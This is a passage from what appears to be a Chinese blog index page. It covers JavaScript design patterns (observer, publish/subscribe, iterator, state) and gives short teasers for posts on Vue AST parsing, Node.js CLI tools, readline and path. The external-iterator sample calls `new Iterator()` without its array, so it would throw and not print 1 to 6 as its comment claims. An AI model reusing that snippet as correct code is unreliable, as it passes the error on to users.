<p>—观察者模式:目标和观察者是基类,目标提供维护观察者的一系列方法,观察者提供更新接口。具体观察者和具体目标继承各自的基类,然后具体观察者把自己注册到具体目标里,在具体目标发生变化时候,调度观察者的更新方法。<br><br>比如有个“天气中心”的具体目标A,专门监听天气变化,而有个显示天气的界面的观察者B,B就把自己注册到A里,当A触发天气变化,就调度B的更新方法,并带上自己的上下文。</p>
<p>—发布/订阅模式:订阅者把自己想订阅的事件注册到调度中心,当该事件触发时候,发布者发布该事件到调度中心(顺带上下文),由调度中心统一调度订阅者注册到调度中心的处理代码。<br><br>比如有个界面是实时显示天气,它就订阅天气事件(注册到调度中心,包括处理程序),当天气变化时(定时获取数据),就作为发布者发布天气信息到调度中心,调度中心就调度订阅者的天气处理程序。</p>
<p>应用场景:JS事件、JS Promise、JQuery.$CallBack、Vue watch、NodeJS自定义事件,文件流等</p>
<p><strong>8、迭代器模式</strong></p>
<blockquote>
<p>提供一种方法顺序访问一个聚合对象中各个元素, 而又无须暴露该对象的内部表示</p>
</blockquote>
<p>可分为:内部迭代器和外部迭代器</p>
<p>内部迭代器: 内部已经定义好迭代规则,外部只需要调用一次即可。<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> each = <span class="function">(<span class="params">args, fn</span>) =></span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>, len = args.length; i < len; i++) {</span><br><span class="line"> <span class="keyword">const</span> value = fn(args[i], i, args);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (value === <span class="literal">false</span>) <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>应用场景: JQuery.each方法<br>外部迭代器:必须显示的请求迭代下一个元素。<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 迭代器</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Iterator</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (list) {</span><br><span class="line"> <span class="keyword">this</span>.list = list;</span><br><span class="line"> <span class="keyword">this</span>.index = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> next () {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.hasNext()) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.list[<span class="keyword">this</span>.index++]</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> hasNext () {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.index === <span class="keyword">this</span>.list.length) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>];</span><br><span class="line"><span class="keyword">const</span> ite = <span class="keyword">new</span> Iterator();</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(ite.hasNext()) {</span><br><span class="line"> <span class="built_in">console</span>.log(ite.next()); <span class="comment">// 依次打印 1 2 3 4 5 6</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>应用场景:JS Iterator、JS Generator</p>
<p><strong>9、状态模式</strong></p>
<blockquote>
<p>关键是区分事物内部的状态,事物内部状态往往会带来事物的行为改变,即允许对象在内部状态发生改变时改变它的行为<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 红灯</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RedLight</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (state) {</span><br><span class="line"> <span class="keyword">this</span>.state = state;</span><br><span class="line"> }</span><br><span class="line"> light () {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'turn to red light'</span>);</span><br><span class="line"> <span class="keyword">this</span>.state.setState(<span class="keyword">this</span>.state.greenLight)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 绿灯</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">greenLight</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (state) {</span><br><span class="line"> <span class="keyword">this</span>.state = state;</span><br><span class="line"> }</span><br><span class="line"> light () {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'turn to green light'</span>);</span><br><span class="line"> <span class="keyword">this</span>.state.setState(<span class="keyword">this</span>.state.yellowLight)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 黄灯</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">yellowLight</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (state) {</span><br><span class="line"> <span class="keyword">this</span>.state = state;</span><br><span class="line"> }</span><br><span class="line"> light () {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'turn to yellow light'</span>);</span><br><span class="line"> <span class="keyword">this</span>.state.setState(<span class="keyword">this</span>.state.redLight)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">State</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> () {</span><br><span class="line"> <span class="keyword">this</span>.redLight = <span class="keyword">new</span> RedLight(<span class="keyword">this</span>)</span><br><span class="line"> <span class="keyword">this</span>.greenLight = <span class="keyword">new</span> greenLight(<span class="keyword">this</span>)</span><br><span class="line"> <span class="keyword">this</span>.yellowLight = <span class="keyword">new</span> yellowLight(<span class="keyword">this</span>)</span><br><span class="line"> <span class="keyword">this</span>.setState(<span class="keyword">this</span>.redLight) <span class="comment">// 初始化为红灯</span></span><br><span class="line"> }</span><br><span class="line"> setState (state) {</span><br><span class="line"> <span class="keyword">this</span>.currState = state;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> state = <span class="keyword">new</span> State();</span><br><span class="line">state.currState.light() <span class="comment">// turn to red light</span></span><br><span class="line">setInterval(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> state.currState.light() <span class="comment">// 每隔3秒依次打印红灯、绿灯、黄灯</span></span><br><span class="line">}, <span class="number">3000</span>)</span><br></pre></td></tr></table></figure></p>
</blockquote>
<p>应用场景:灯泡状态、红绿灯切换等</p>
<font color="red">其他设计模式:</font>
<p><strong>10、命令模式</strong><br><br><strong>11、组合模式</strong><br><br><strong>12、享元模式</strong><br><br><strong>13、策略模式</strong><br><br><strong>14、职责链模式</strong><br><br><strong>15、模板方法模式</strong><br><br><strong>16、中介者模式</strong><br><br><strong>17、备忘录模式</strong><br><br><strong>18、访问者模式</strong><br><br><strong>19、解释器模式</strong><br><br><strong>20、桥接模式</strong><br></p>
<p>其他设计模式请移步:<a href="https://github.com/jefferyE/javascript-design-patterns" target="_blank" rel="noopener">https://github.com/jefferyE</a><br><br>更多设计模式,具体请参考:<a href="http://www.runoob.com/design-pattern/design-pattern-tutorial.html" target="_blank" rel="noopener">https://www.runoob.com</a></p>
</div>
<div class="article-info article-info-index">
<div class="article-tag tagcloud">
<i class="icon-price-tags icon"></i>
<ul class="article-tag-list">
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color1">javascript</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color2">design</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color5">设计模式</a>
</li>
</ul>
</div>
<p class="article-more-link">
<a class="article-more-a" href="/2019/03/25/JS常见设计模式总结/">展开全文 >></a>
</p>
<div class="clearfix"></div>
</div>
</div>
</article>
<aside class="wrap-side-operation">
<div class="mod-side-operation">
<div class="jump-container" id="js-jump-container" style="display:none;">
<a href="javascript:void(0)" class="mod-side-operation__jump-to-top">
<i class="icon-font icon-back"></i>
</a>
<div id="js-jump-plan-container" class="jump-plan-container" style="top: -11px;">
<i class="icon-font icon-plane jump-plane"></i>
</div>
</div>
</div>
</aside>
<script>
$('.blog-check img').zoomify();
</script>
<article id="post-vue分析之template模板解析AST" class="article article-type-post article-index" itemscope itemprop="blogPost">
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2018/06/29/vue分析之template模板解析AST/">vue分析之template模板解析AST</a>
</h1>
<a href="javascript:;" class="archive-article-date">
<i class="icon-smile icon"></i> 阅读数:<span id="/2018/06/29/vue分析之template模板解析AST/" class="pageViews">0</span>次
</a>
<a href="/2018/06/29/vue分析之template模板解析AST/" class="archive-article-date">
<time datetime="2018-06-28T16:00:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2018-06-29</time>
</a>
</header>
<!-- 目录内容 -->
<!-- 目录内容结束 -->
<div class="article-entry blog-check" itemprop="articleBody">
<p>通过查看vue源码,可以知道Vue源码中使用了虚拟DOM(Virtual Dom),虚拟DOM构建经历 template编译成AST语法树 -> 再转换为render函数 最终返回一个VNode(VNode就是Vue的虚拟DOM节点) 。<br>本文通过对Vue源码中的AST转化部分进行简单提取,返回静态的AST结构(不考虑兼容性及属性的具体解析)。并最终根据一个实例的template转化为最终的AST结构。<br>
<a class="article-more-a" href="/2018/06/29/vue分析之template模板解析AST/#more">more >></a>
</div>
<div class="article-info article-info-index">
<div class="article-tag tagcloud">
<i class="icon-price-tags icon"></i>
<ul class="article-tag-list">
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color1">javascript</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color4">vue</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color4">template</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color4">AST</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color3">源码</a>
</li>
</ul>
</div>
<p class="article-more-link">
<a class="article-more-a" href="/2018/06/29/vue分析之template模板解析AST/">展开全文 >></a>
</p>
<div class="clearfix"></div>
</div>
</div>
</article>
<aside class="wrap-side-operation">
<div class="mod-side-operation">
<div class="jump-container" id="js-jump-container" style="display:none;">
<a href="javascript:void(0)" class="mod-side-operation__jump-to-top">
<i class="icon-font icon-back"></i>
</a>
<div id="js-jump-plan-container" class="jump-plan-container" style="top: -11px;">
<i class="icon-font icon-plane jump-plane"></i>
</div>
</div>
</div>
</aside>
<script>
$('.blog-check img').zoomify();
</script>
<article id="post-Nodejs开发简单的脚手架工具" class="article article-type-post article-index" itemscope itemprop="blogPost">
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2018/06/11/Nodejs开发简单的脚手架工具/">Nodejs开发简单的脚手架工具</a>
</h1>
<a href="javascript:;" class="archive-article-date">
<i class="icon-smile icon"></i> 阅读数:<span id="/2018/06/11/Nodejs开发简单的脚手架工具/" class="pageViews">0</span>次
</a>
<a href="/2018/06/11/Nodejs开发简单的脚手架工具/" class="archive-article-date">
<time datetime="2018-06-10T16:00:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2018-06-11</time>
</a>
</header>
<!-- 目录内容 -->
<!-- 目录内容结束 -->
<div class="article-entry blog-check" itemprop="articleBody">
<p>脚手架,这个名词对于作为前端的我们来说,也许并不陌生吧,像vue-cli,react-native-cli等,全局安装后,只需要在命令行中敲入一个简单的命令,便可帮我们快速的生成一个初始项目,如vue init webpack projectName,即可生成一个初始的vue项目。<br>本文主要是介绍开发一个简单的脚手架,了解开发的基本流程、最终通过npm link链接到全局包。<br>
<a class="article-more-a" href="/2018/06/11/Nodejs开发简单的脚手架工具/#more">more >></a>
</div>
<div class="article-info article-info-index">
<div class="article-tag tagcloud">
<i class="icon-price-tags icon"></i>
<ul class="article-tag-list">
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color4">cli</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color1">javascript</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color2">nodejs</a>
</li>
</ul>
</div>
<p class="article-more-link">
<a class="article-more-a" href="/2018/06/11/Nodejs开发简单的脚手架工具/">展开全文 >></a>
</p>
<div class="clearfix"></div>
</div>
</div>
</article>
<aside class="wrap-side-operation">
<div class="mod-side-operation">
<div class="jump-container" id="js-jump-container" style="display:none;">
<a href="javascript:void(0)" class="mod-side-operation__jump-to-top">
<i class="icon-font icon-back"></i>
</a>
<div id="js-jump-plan-container" class="jump-plan-container" style="top: -11px;">
<i class="icon-font icon-plane jump-plane"></i>
</div>
</div>
</div>
</aside>
<script>
$('.blog-check img').zoomify();
</script>
<article id="post-readline模块的使用" class="article article-type-post article-index" itemscope itemprop="blogPost">
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2018/05/22/readline模块的使用/">readline模块的使用</a>
</h1>
<a href="javascript:;" class="archive-article-date">
<i class="icon-smile icon"></i> 阅读数:<span id="/2018/05/22/readline模块的使用/" class="pageViews">0</span>次
</a>
<a href="/2018/05/22/readline模块的使用/" class="archive-article-date">
<time datetime="2018-05-21T16:00:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2018-05-22</time>
</a>
</header>
<!-- 目录内容 -->
<!-- 目录内容结束 -->
<div class="article-entry blog-check" itemprop="articleBody">
<h3 id="什么是readline"><a href="#什么是readline" class="headerlink" title="什么是readline"></a>什么是readline</h3><p> readline允许从可读流中以逐行的方式读取数据,比如process.stdin等。<br> 在node.js命令行模式下默认引入了readline模块,但如果是使用node.js运行脚本的话,则需要自己通过require(‘readline’)方式手动引入该模块。</p>
<h3 id="怎么使用readline"><a href="#怎么使用readline" class="headerlink" title="怎么使用readline"></a>怎么使用readline</h3>
<a class="article-more-a" href="/2018/05/22/readline模块的使用/#more">more >></a>
</div>
<div class="article-info article-info-index">
<div class="article-tag tagcloud">
<i class="icon-price-tags icon"></i>
<ul class="article-tag-list">
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color2">nodejs</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color4">readline</a>
</li>
</ul>
</div>
<p class="article-more-link">
<a class="article-more-a" href="/2018/05/22/readline模块的使用/">展开全文 >></a>
</p>
<div class="clearfix"></div>
</div>
</div>
</article>
<aside class="wrap-side-operation">
<div class="mod-side-operation">
<div class="jump-container" id="js-jump-container" style="display:none;">
<a href="javascript:void(0)" class="mod-side-operation__jump-to-top">
<i class="icon-font icon-back"></i>
</a>
<div id="js-jump-plan-container" class="jump-plan-container" style="top: -11px;">
<i class="icon-font icon-plane jump-plane"></i>
</div>
</div>
</div>
</aside>
<script>
$('.blog-check img').zoomify();
</script>
<article id="post-path模块的使用" class="article article-type-post article-index" itemscope itemprop="blogPost">
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2018/05/22/path模块的使用/">path模块的使用</a>
</h1>
<a href="javascript:;" class="archive-article-date">
<i class="icon-smile icon"></i> 阅读数:<span id="/2018/05/22/path模块的使用/" class="pageViews">0</span>次
</a>
<a href="/2018/05/22/path模块的使用/" class="archive-article-date">
<time datetime="2018-05-21T16:00:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2018-05-22</time>
</a>
</header>
<!-- 目录内容 -->
<!-- 目录内容结束 -->
<div class="article-entry blog-check" itemprop="articleBody">
<p> path模块包含一系列处理和转换文件路径的工具集,通过 require(‘path’) 可用来访问这个模块。<br> 知识点:对window系统,目录分隔为’\’, 对于UNIX系统,分隔符为’/‘,针对’..’返回上一级,发现多个斜杠或反斜杠时会替换成一个,/,//,\与\都被统一转换为\<br>
<a class="article-more-a" href="/2018/05/22/path模块的使用/#more">more >></a>